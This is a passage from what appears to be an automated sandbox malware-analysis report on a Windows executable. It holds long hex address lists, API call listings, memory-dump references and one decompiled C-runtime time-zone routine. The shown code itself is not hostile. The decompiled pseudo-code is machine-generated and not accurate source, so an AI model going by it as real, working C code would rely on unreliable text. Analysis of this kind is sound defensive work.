                                                                                                                                                                            0x0042d24b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d285
                                                                                                                                                                            0x0042d28a
                                                                                                                                                                            0x0042d28f
                                                                                                                                                                            0x0042d292
                                                                                                                                                                            0x0042d294
                                                                                                                                                                            0x0042d2ac
                                                                                                                                                                            0x0042d2ac
                                                                                                                                                                            0x0042d29a
                                                                                                                                                                            0x0042d29a
                                                                                                                                                                            0x0042d29e
                                                                                                                                                                            0x0042d2a3
                                                                                                                                                                            0x0042d2a5
                                                                                                                                                                            0x0042d2a5
                                                                                                                                                                            0x0042d2a5
                                                                                                                                                                            0x0042d2a5
                                                                                                                                                                            0x0042d2a5
                                                                                                                                                                            0x0042d2ae
                                                                                                                                                                            0x0042d2b0
                                                                                                                                                                            0x0042d2b4
                                                                                                                                                                            0x0042d2ba
                                                                                                                                                                            0x0042d2bd
                                                                                                                                                                            0x0042d2bd
                                                                                                                                                                            0x0042d2bd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d27a
                                                                                                                                                                            0x0042d27e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d2cc
                                                                                                                                                                            0x0042d2d1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d2d3
                                                                                                                                                                            0x0042d2d5
                                                                                                                                                                            0x0042d2da
                                                                                                                                                                            0x0042d2dd
                                                                                                                                                                            0x0042d2de
                                                                                                                                                                            0x0042d2e0
                                                                                                                                                                            0x0042d2e6
                                                                                                                                                                            0x0042d2ea
                                                                                                                                                                            0x0042d2ec
                                                                                                                                                                            0x0042d2ed
                                                                                                                                                                            0x0042d2f4
                                                                                                                                                                            0x0042d2f6
                                                                                                                                                                            0x0042d2fc
                                                                                                                                                                            0x0042d2fe
                                                                                                                                                                            0x0042d2ff
                                                                                                                                                                            0x0042d305
                                                                                                                                                                            0x0042d308
                                                                                                                                                                            0x0042d310
                                                                                                                                                                            0x0042d310
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d31f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d326
                                                                                                                                                                            0x0042d328
                                                                                                                                                                            0x0042d32d
                                                                                                                                                                            0x0042d330
                                                                                                                                                                            0x0042d332
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d338
                                                                                                                                                                            0x0042d343
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d353
                                                                                                                                                                            0x0042d355
                                                                                                                                                                            0x0042d35a
                                                                                                                                                                            0x0042d35c
                                                                                                                                                                            0x0042d360
                                                                                                                                                                            0x0042d362
                                                                                                                                                                            0x0042d364
                                                                                                                                                                            0x0042d366
                                                                                                                                                                            0x0042d368
                                                                                                                                                                            0x0042d36b
                                                                                                                                                                            0x0042d36d
                                                                                                                                                                            0x0042d39f
                                                                                                                                                                            0x0042d3a1
                                                                                                                                                                            0x0042d3a6
                                                                                                                                                                            0x0042d3a8
                                                                                                                                                                            0x0042d3ab
                                                                                                                                                                            0x0042d3ad
                                                                                                                                                                            0x0042d3b0
                                                                                                                                                                            0x0042d3b3
                                                                                                                                                                            0x0042d373
                                                                                                                                                                            0x0042d373
                                                                                                                                                                            0x0042d374
                                                                                                                                                                            0x0042d379
                                                                                                                                                                            0x0042d37b
                                                                                                                                                                            0x0042d37e
                                                                                                                                                                            0x0042d380
                                                                                                                                                                            0x0042d382
                                                                                                                                                                            0x0042d386
                                                                                                                                                                            0x0042d389
                                                                                                                                                                            0x0042d38d
                                                                                                                                                                            0x0042d392
                                                                                                                                                                            0x0042d397
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d3bb
                                                                                                                                                                            0x0042d3bd
                                                                                                                                                                            0x0042d3c2
                                                                                                                                                                            0x0042d3c5
                                                                                                                                                                            0x0042d3c7
                                                                                                                                                                            0x0042d34a
                                                                                                                                                                            0x0042d34a
                                                                                                                                                                            0x0042d34c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d34c
                                                                                                                                                                            0x0042d3c9
                                                                                                                                                                            0x0042d3cd
                                                                                                                                                                            0x0042d3ce
                                                                                                                                                                            0x0042d3d4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d216
                                                                                                                                                                            0x00409d94
                                                                                                                                                                            0x00409d94
                                                                                                                                                                            0x00409d98
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409d98
                                                                                                                                                                            0x00409d02
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409c92
                                                                                                                                                                            0x00409c7d
                                                                                                                                                                            0x00409c60
                                                                                                                                                                            0x00409c62
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409c68
                                                                                                                                                                            0x00409c6b
                                                                                                                                                                            0x00409c6b
                                                                                                                                                                            0x00409c71
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409c71
                                                                                                                                                                            0x00409c62
                                                                                                                                                                            0x00409c1b
                                                                                                                                                                            0x00409b31
                                                                                                                                                                            0x00409b31
                                                                                                                                                                            0x00409b35
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409b40
                                                                                                                                                                            0x00409b46
                                                                                                                                                                            0x0040aa43
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409b4c
                                                                                                                                                                            0x00409b4c
                                                                                                                                                                            0x00409b4f
                                                                                                                                                                            0x00409b52
                                                                                                                                                                            0x00409b55
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409b57
                                                                                                                                                                            0x00409b57
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409b57
                                                                                                                                                                            0x00409b55
                                                                                                                                                                            0x0040aa47
                                                                                                                                                                            0x0040aa47
                                                                                                                                                                            0x0040aa4a
                                                                                                                                                                            0x0040aa4e
                                                                                                                                                                            0x0040aa4e
                                                                                                                                                                            0x00409b20
                                                                                                                                                                            0x00409b14

                                                                                                                                                                            APIs
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                            • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                            • String ID: 0vH$4RH
                                                                                                                                                                            • API String ID: 1143807570-2085553193
                                                                                                                                                                            • Opcode ID: 07cc448416bdc6ce9962c80c5482255f65b388fb092cb19690cfa8cd223f0689
                                                                                                                                                                            • Instruction ID: 3ab615a69cb9e6f40c53410016556bff414b7e0a3337ae804ba92b9b37f080c7
                                                                                                                                                                            • Opcode Fuzzy Hash: 07cc448416bdc6ce9962c80c5482255f65b388fb092cb19690cfa8cd223f0689
                                                                                                                                                                            • Instruction Fuzzy Hash: FA238170A043109FD724DF25D480A6BB7E1BF89304F54896EE84A9B391D739EC46CB9B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0042039F Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 282timeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 70%
                                                                                                                                                                            			E0042039F(int __ebx, void* __ecx, signed int __edx, signed int __edi, void* __esi, void* __eflags) {
				void* _t51;
				void* _t53;
				intOrPtr* _t55;
				int _t56;
				long _t57;
				void* _t63;
				signed int _t64;
				void* _t66;
				int _t67;
				signed int _t72;
				void* _t74;
				void* _t75;
				void* _t76;
				signed int _t78;
				signed int _t79;
				int _t82;
				int _t87;
				intOrPtr _t94;
				signed int _t97;
				int _t99;
				int _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				int _t108;
				int _t112;
				void* _t114;
				void* _t115;
				void* _t117;
				signed int _t123;
				signed int _t124;
				int _t125;
				char** _t126;
				intOrPtr* _t129;
				int _t130;
				void* _t133;
				void* _t134;
				void* _t135;
				void* _t136;
				void* _t137;

				_t128 = __esi;
				_t124 = __edi;
				_t122 = __edx;
				_t112 = __ebx;
				_push(__ebx);
				_push(__ebx);
				_push(__ebx);
				_push(__ebx);
				_push(__ebx);
				E00417D93(__ecx, __edx, __edi, __esi, __eflags);
				_t135 = _t134 + 0x14;
				_t51 = E00420D46(__edx, __edi, _t133 - 0x24);
				_pop(_t114);
				_t141 = _t51 - __ebx;
				if(_t51 != __ebx) {
					_push(__ebx);
					_push(__ebx);
					_push(__ebx);
					_push(__ebx);
					_push(__ebx);
					E00417D93(_t114, __edx, __edi, __esi, _t141);
					_t135 = _t135 + 0x14;
				}
				_t53 = E00420D7F(_t122, _t124, _t133 - 0x28);
				_pop(_t115);
				_t142 = _t53 - _t112;
				if(_t53 != _t112) {
					_push(_t112);
					_push(_t112);
					_push(_t112);
					_push(_t112);
					_push(_t112);
					E00417D93(_t115, _t122, _t124, _t128, _t142);
					_t135 = _t135 + 0x14;
				}
				 *(_t133 - 0x34) = E00422C6A(_t128, _t142);
				 *0x496cd4 = _t112;
				_t125 = _t124 | 0xffffffff;
				 *0x49112c = _t125;
				 *0x491120 = _t125;
				_t55 = L0042605C(0x483400);
				_pop(1);
				_t129 = _t55;
				 *((intOrPtr*)(_t133 - 0x3c)) = _t129;
				if(_t129 == _t112 ||  *_t129 == _t112) {
					_t56 =  *0x496cd8; // 0x0
					__eflags = _t56 - _t112;
					if(__eflags != 0) {
						_push(_t56);
						E00413A88(_t112, _t122, _t125, _t129, __eflags);
						_pop(1);
						 *0x496cd8 = _t112;
					}
					_t57 = GetTimeZoneInformation(0x496c28);
					__eflags = _t57 - _t125;
					if(_t57 == _t125) {
						goto L31;
					} else {
						 *0x496cd4 = 1;
						_t78 = 0x496c28->Bias; // 0x0
						_t79 = _t78 * 0x3c;
						 *(_t133 - 0x1c) = _t79;
						__eflags =  *0x496c6e - _t112; // 0x0
						if(__eflags != 0) {
							_t123 =  *0x496c7c; // 0x0
							_t122 = _t123 * 0x3c;
							_t97 = _t79 + _t123 * 0x3c;
							__eflags = _t97;
							 *(_t133 - 0x1c) = _t97;
						}
						__eflags =  *0x496cc2 - _t112; // 0x0
						if(__eflags == 0) {
							L22:
							 *(_t133 - 0x24) = _t112;
							 *(_t133 - 0x28) = _t112;
							goto L23;
						} else {
							_t94 =  *0x496cd0; // 0x0
							__eflags = _t94 - _t112;
							if(_t94 == _t112) {
								goto L22;
							}
							 *(_t133 - 0x24) = 1;
							 *(_t133 - 0x28) = (_t94 -  *0x496c7c) * 0x3c;
							L23:
							_t82 = WideCharToMultiByte( *(_t133 - 0x34), _t112, 0x496c2c, _t125,  *( *(_t133 - 0x20)), 0x3f, _t112, _t133 - 0x30);
							__eflags = _t82;
							if(_t82 == 0) {
								L26:
								 *( *( *(_t133 - 0x20))) = _t112;
								L27:
								_t87 = WideCharToMultiByte( *(_t133 - 0x34), _t112, 0x496c80, 0xffffffff, ( *(_t133 - 0x20))[1], 0x3f, _t112, _t133 - 0x30);
								__eflags = _t87;
								if(_t87 == 0) {
									L30:
									 *(( *(_t133 - 0x20))[1]) = _t112;
									goto L31;
								}
								__eflags =  *(_t133 - 0x30) - _t112;
								if( *(_t133 - 0x30) != _t112) {
									goto L30;
								}
								( *(_t133 - 0x20))[1][0x3f] = _t112;
								goto L31;
							}
							__eflags =  *(_t133 - 0x30) - _t112;
							if( *(_t133 - 0x30) != _t112) {
								goto L26;
							}
							( *( *(_t133 - 0x20)))[0x3f] = _t112;
							goto L27;
						}
					}
				} else {
					_t99 =  *0x496cd8; // 0x0
					if(_t99 == _t112) {
						L11:
						_t102 = E00416FB6(E004137E0(_t129) + 1);
						_pop(1);
						 *0x496cd8 = _t102;
						if(_t102 == _t112) {
							L31:
							 *((intOrPtr*)(_t133 - 0x2c)) = 1;
							L32:
							E0042034D( *(_t133 - 0x1c));
							E0042032B( *(_t133 - 0x24));
							E0042033C( *(_t133 - 0x28));
							_t136 = _t135 + 0xc;
							 *((intOrPtr*)(_t133 - 4)) = 0xfffffffe;
							_t61 = E0042060A();
							if( *((intOrPtr*)(_t133 - 0x2c)) != _t112) {
								L59:
								return E004171D1(_t61);
							}
							_t126 =  *(_t133 - 0x20);
							_t63 = E00422D56(_t122,  *_t126, 0x40, _t129, 3);
							_t137 = _t136 + 0x10;
							_t151 = _t63;
							if(_t63 != 0) {
								_push(_t112);
								_push(_t112);
								_push(_t112);
								_push(_t112);
								_push(_t112);
								E00417D93(1, _t122, _t126, _t129, _t151);
								_t137 = _t137 + 0x14;
							}
							_t130 = _t129 + 3;
							if( *_t130 == 0x2d) {
								 *((intOrPtr*)(_t133 - 0x38)) = 1;
								_t130 = _t130 + 1;
							}
							_t64 = L00426046(_t130);
							_pop(_t117);
							 *(_t133 - 0x1c) = _t64 * 0xe10;
							while(1) {
								_t66 =  *_t130;
								if(_t66 != 0x2b && (_t66 < 0x30 || _t66 > 0x39)) {
									break;
								}
								_t130 = _t130 + 1;
							}
							__eflags =  *_t130 - 0x3a;
							if( *_t130 != 0x3a) {
								L52:
								__eflags =  *((intOrPtr*)(_t133 - 0x38)) - _t112;
								if( *((intOrPtr*)(_t133 - 0x38)) != _t112) {
									 *(_t133 - 0x1c) =  ~( *(_t133 - 0x1c));
								}
								_t67 =  *_t130;
								 *(_t133 - 0x24) = _t67;
								__eflags = _t67 - _t112;
								if(_t67 == _t112) {
									 *(_t126[1]) = _t112;
								} else {
									__eflags = E00422D56(_t122, _t126[1], 0x40, _t130, 3);
									if(__eflags != 0) {
										_push(_t112);
										_push(_t112);
										_push(_t112);
										_push(_t112);
										_push(_t112);
										E00417D93(_t117, _t122, _t126, _t130, __eflags);
									}
								}
								 *(E00420DFD()) =  *(_t133 - 0x1c);
								 *(E00420DF1()) =  *(_t133 - 0x24);
								goto L59;
							}
							_t130 = _t130 + 1;
							_t72 = L00426046(_t130);
							_pop(_t117);
							 *(_t133 - 0x1c) =  *(_t133 - 0x1c) + _t72 * 0x3c;
							while(1) {
								_t74 =  *_t130;
								__eflags = _t74 - 0x30;
								if(_t74 < 0x30) {
									break;
								}
								__eflags = _t74 - 0x39;
								if(_t74 > 0x39) {
									break;
								}
								_t130 = _t130 + 1;
								__eflags = _t130;
							}
							__eflags =  *_t130 - 0x3a;
							if( *_t130 != 0x3a) {
								goto L52;
							}
							_t130 = _t130 + 1;
							_t75 = L00426046(_t130);
							_pop(_t117);
							 *(_t133 - 0x1c) =  *(_t133 - 0x1c) + _t75;
							while(1) {
								_t76 =  *_t130;
								__eflags = _t76 - 0x30;
								if(_t76 < 0x30) {
									goto L52;
								}
								__eflags = _t76 - 0x39;
								if(_t76 > 0x39) {
									goto L52;
								}
								_t130 = _t130 + 1;
								__eflags = _t130;
							}
							goto L52;
						}
						_push(_t129);
						_t103 = E004137E0(_t129);
						_pop(1);
						_push(_t103 + 1);
						_push( *0x496cd8);
						_t105 = E00422E0B(_t122);
						_t135 = _t135 + 0xc;
						_t149 = _t105 - _t112;
						if(_t105 != _t112) {
							_push(_t112);
							_push(_t112);
							_push(_t112);
							_push(_t112);
							_push(_t112);
							E00417D93(1, _t122, _t125, _t129, _t149);
							_t135 = _t135 + 0x14;
						}
						goto L32;
					}
					_t107 = E004151D0(_t129, _t99);
					_pop(1);
					if(_t107 == 0) {
						goto L31;
					}
					_t108 =  *0x496cd8; // 0x0
					_t147 = _t108 - _t112;
					if(_t108 != _t112) {
						_push(_t108);
						E00413A88(_t112, _t122, _t125, _t129, _t147);
					}
					goto L11;
				}
			}











































                                                                                                                                                                            0x0042039f
                                                                                                                                                                            0x0042039f
                                                                                                                                                                            0x0042039f
                                                                                                                                                                            0x0042039f
                                                                                                                                                                            0x0042039f
                                                                                                                                                                            0x004203a0
                                                                                                                                                                            0x004203a1
                                                                                                                                                                            0x004203a2
                                                                                                                                                                            0x004203a3
                                                                                                                                                                            0x004203a4
                                                                                                                                                                            0x004203a9
                                                                                                                                                                            0x004203b0
                                                                                                                                                                            0x004203b5
                                                                                                                                                                            0x004203b6
                                                                                                                                                                            0x004203b8
                                                                                                                                                                            0x004203ba
                                                                                                                                                                            0x004203bb
                                                                                                                                                                            0x004203bc
                                                                                                                                                                            0x004203bd
                                                                                                                                                                            0x004203be
                                                                                                                                                                            0x004203bf
                                                                                                                                                                            0x004203c4
                                                                                                                                                                            0x004203c4
                                                                                                                                                                            0x004203cb
                                                                                                                                                                            0x004203d0
                                                                                                                                                                            0x004203d1
                                                                                                                                                                            0x004203d3
                                                                                                                                                                            0x004203d5
                                                                                                                                                                            0x004203d6
                                                                                                                                                                            0x004203d7
                                                                                                                                                                            0x004203d8
                                                                                                                                                                            0x004203d9
                                                                                                                                                                            0x004203da
                                                                                                                                                                            0x004203df
                                                                                                                                                                            0x004203df
                                                                                                                                                                            0x004203e7
                                                                                                                                                                            0x004203ea
                                                                                                                                                                            0x004203f0
                                                                                                                                                                            0x004203f3
                                                                                                                                                                            0x004203f9
                                                                                                                                                                            0x00420404
                                                                                                                                                                            0x00420409
                                                                                                                                                                            0x0042040a
                                                                                                                                                                            0x0042040c
                                                                                                                                                                            0x00420411
                                                                                                                                                                            0x0042048f
                                                                                                                                                                            0x00420494
                                                                                                                                                                            0x00420496
                                                                                                                                                                            0x00420498
                                                                                                                                                                            0x00420499
                                                                                                                                                                            0x0042049e
                                                                                                                                                                            0x0042049f
                                                                                                                                                                            0x0042049f
                                                                                                                                                                            0x004204aa
                                                                                                                                                                            0x004204b0
                                                                                                                                                                            0x004204b2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004204b8
                                                                                                                                                                            0x004204bb
                                                                                                                                                                            0x004204c1
                                                                                                                                                                            0x004204c6
                                                                                                                                                                            0x004204c9
                                                                                                                                                                            0x004204cc
                                                                                                                                                                            0x004204d3
                                                                                                                                                                            0x004204d5
                                                                                                                                                                            0x004204db
                                                                                                                                                                            0x004204de
                                                                                                                                                                            0x004204de
                                                                                                                                                                            0x004204e0
                                                                                                                                                                            0x004204e0
                                                                                                                                                                            0x004204e3
                                                                                                                                                                            0x004204ea
                                                                                                                                                                            0x00420506
                                                                                                                                                                            0x00420506
                                                                                                                                                                            0x00420509
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004204ec
                                                                                                                                                                            0x004204ec
                                                                                                                                                                            0x004204f1
                                                                                                                                                                            0x004204f3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004204f5
                                                                                                                                                                            0x00420501
                                                                                                                                                                            0x0042050c
                                                                                                                                                                            0x00420528
                                                                                                                                                                            0x0042052a
                                                                                                                                                                            0x0042052c
                                                                                                                                                                            0x0042053d
                                                                                                                                                                            0x00420542
                                                                                                                                                                            0x00420544
                                                                                                                                                                            0x0042055c
                                                                                                                                                                            0x0042055e
                                                                                                                                                                            0x00420560
                                                                                                                                                                            0x00420572
                                                                                                                                                                            0x00420578
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00420578
                                                                                                                                                                            0x00420562
                                                                                                                                                                            0x00420565
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042056d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042056d
                                                                                                                                                                            0x0042052e
                                                                                                                                                                            0x00420531
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00420538
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00420538
                                                                                                                                                                            0x004204ea
                                                                                                                                                                            0x00420417
                                                                                                                                                                            0x00420417
                                                                                                                                                                            0x0042041e
                                                                                                                                                                            0x00420441
                                                                                                                                                                            0x00420449
                                                                                                                                                                            0x0042044f
                                                                                                                                                                            0x00420450
                                                                                                                                                                            0x00420457
                                                                                                                                                                            0x0042057a
                                                                                                                                                                            0x0042057a
                                                                                                                                                                            0x00420581
                                                                                                                                                                            0x00420584
                                                                                                                                                                            0x0042058c
                                                                                                                                                                            0x00420594
                                                                                                                                                                            0x00420599
                                                                                                                                                                            0x0042059c
                                                                                                                                                                            0x004205a3
                                                                                                                                                                            0x004205ab
                                                                                                                                                                            0x0042069e
                                                                                                                                                                            0x004206a3
                                                                                                                                                                            0x004206a3
                                                                                                                                                                            0x004205b6
                                                                                                                                                                            0x004205bb
                                                                                                                                                                            0x004205c0
                                                                                                                                                                            0x004205c3
                                                                                                                                                                            0x004205c5
                                                                                                                                                                            0x004205c7
                                                                                                                                                                            0x004205c8
                                                                                                                                                                            0x004205c9
                                                                                                                                                                            0x004205ca
                                                                                                                                                                            0x004205cb
                                                                                                                                                                            0x004205cc
                                                                                                                                                                            0x004205d1
                                                                                                                                                                            0x004205d1
                                                                                                                                                                            0x004205d4
                                                                                                                                                                            0x004205da
                                                                                                                                                                            0x004205dc
                                                                                                                                                                            0x004205e3
                                                                                                                                                                            0x004205e3
                                                                                                                                                                            0x004205e5
                                                                                                                                                                            0x004205ea
                                                                                                                                                                            0x004205f1
                                                                                                                                                                            0x004205f4
                                                                                                                                                                            0x004205f4
                                                                                                                                                                            0x004205f8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00420602
                                                                                                                                                                            0x00420602
                                                                                                                                                                            0x00420613
                                                                                                                                                                            0x00420616
                                                                                                                                                                            0x00420650
                                                                                                                                                                            0x00420650
                                                                                                                                                                            0x00420653
                                                                                                                                                                            0x00420655
                                                                                                                                                                            0x00420655
                                                                                                                                                                            0x00420658
                                                                                                                                                                            0x0042065b
                                                                                                                                                                            0x0042065e
                                                                                                                                                                            0x00420660
                                                                                                                                                                            0x00420688
                                                                                                                                                                            0x00420662
                                                                                                                                                                            0x00420672
                                                                                                                                                                            0x00420674
                                                                                                                                                                            0x00420676
                                                                                                                                                                            0x00420677
                                                                                                                                                                            0x00420678
                                                                                                                                                                            0x00420679
                                                                                                                                                                            0x0042067a
                                                                                                                                                                            0x0042067b
                                                                                                                                                                            0x00420680
                                                                                                                                                                            0x00420674
                                                                                                                                                                            0x00420692
                                                                                                                                                                            0x0042069c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042069c
                                                                                                                                                                            0x00420618
                                                                                                                                                                            0x0042061a
                                                                                                                                                                            0x0042061f
                                                                                                                                                                            0x00420623
                                                                                                                                                                            0x0042062d
                                                                                                                                                                            0x0042062d
                                                                                                                                                                            0x0042062f
                                                                                                                                                                            0x00420631
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00420628
                                                                                                                                                                            0x0042062a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042062c
                                                                                                                                                                            0x0042062c
                                                                                                                                                                            0x0042062c
                                                                                                                                                                            0x00420633
                                                                                                                                                                            0x00420636
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00420638
                                                                                                                                                                            0x0042063a
                                                                                                                                                                            0x0042063f
                                                                                                                                                                            0x00420640
                                                                                                                                                                            0x0042064a
                                                                                                                                                                            0x0042064a
                                                                                                                                                                            0x0042064c
                                                                                                                                                                            0x0042064e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00420645
                                                                                                                                                                            0x00420647
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00420649
                                                                                                                                                                            0x00420649
                                                                                                                                                                            0x00420649
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042064a
                                                                                                                                                                            0x0042045d
                                                                                                                                                                            0x0042045f
                                                                                                                                                                            0x00420464
                                                                                                                                                                            0x00420466
                                                                                                                                                                            0x00420467
                                                                                                                                                                            0x0042046d
                                                                                                                                                                            0x00420472
                                                                                                                                                                            0x00420475
                                                                                                                                                                            0x00420477
                                                                                                                                                                            0x0042047d
                                                                                                                                                                            0x0042047e
                                                                                                                                                                            0x0042047f
                                                                                                                                                                            0x00420480
                                                                                                                                                                            0x00420481
                                                                                                                                                                            0x00420482
                                                                                                                                                                            0x00420487
                                                                                                                                                                            0x00420487
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00420477
                                                                                                                                                                            0x00420422
                                                                                                                                                                            0x00420428
                                                                                                                                                                            0x0042042b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00420431
                                                                                                                                                                            0x00420436
                                                                                                                                                                            0x00420438
                                                                                                                                                                            0x0042043a
                                                                                                                                                                            0x0042043b
                                                                                                                                                                            0x00420440
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00420438

                                                                                                                                                                            APIs
                                                                                                                                                                            • __invoke_watson.LIBCMT ref: 004203A4
                                                                                                                                                                              • Part of subcall function 00417D93: _memset.LIBCMT ref: 00417DBB
                                                                                                                                                                              • Part of subcall function 00417D93: IsDebuggerPresent.KERNEL32(?,?,00000314), ref: 00417E6F
                                                                                                                                                                              • Part of subcall function 00417D93: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000314), ref: 00417E79
                                                                                                                                                                              • Part of subcall function 00417D93: UnhandledExceptionFilter.KERNEL32(?,?,?,00000314), ref: 00417E86
                                                                                                                                                                              • Part of subcall function 00417D93: GetCurrentProcess.KERNEL32(C0000417,?,?,00000314), ref: 00417EA1
                                                                                                                                                                              • Part of subcall function 00417D93: TerminateProcess.KERNEL32(00000000,?,?,00000314), ref: 00417EA8
                                                                                                                                                                            • __get_daylight.LIBCMT ref: 004203B0
                                                                                                                                                                            • __invoke_watson.LIBCMT ref: 004203BF
                                                                                                                                                                            • __get_daylight.LIBCMT ref: 004203CB
                                                                                                                                                                            • __invoke_watson.LIBCMT ref: 004203DA
                                                                                                                                                                            • ____lc_codepage_func.LIBCMT ref: 004203E2
                                                                                                                                                                            • _strlen.LIBCMT ref: 00420442
                                                                                                                                                                            • __malloc_crt.LIBCMT ref: 00420449
                                                                                                                                                                            • _strlen.LIBCMT ref: 0042045F
                                                                                                                                                                            • _strcpy_s.LIBCMT ref: 0042046D
                                                                                                                                                                            • __invoke_watson.LIBCMT ref: 00420482
                                                                                                                                                                            • GetTimeZoneInformation.KERNEL32(00496C28), ref: 004204AA
                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(?,?,00496C2C,?,?,0000003F,?,?), ref: 00420528
                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(?,?,00496C80,000000FF,?,0000003F,?,?,?,00496C2C,?,?,0000003F,?,?), ref: 0042055C
                                                                                                                                                                              • Part of subcall function 00413A88: __lock.LIBCMT ref: 00413AA6
                                                                                                                                                                              • Part of subcall function 00413A88: ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                                                                                              • Part of subcall function 00413A88: ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                                                                                              • Part of subcall function 00413A88: RtlFreeHeap.NTDLL(00000000,00000000,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00000000,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                                                                                              • Part of subcall function 00413A88: GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00000000,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                                                                                            • __invoke_watson.LIBCMT ref: 004205CC
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
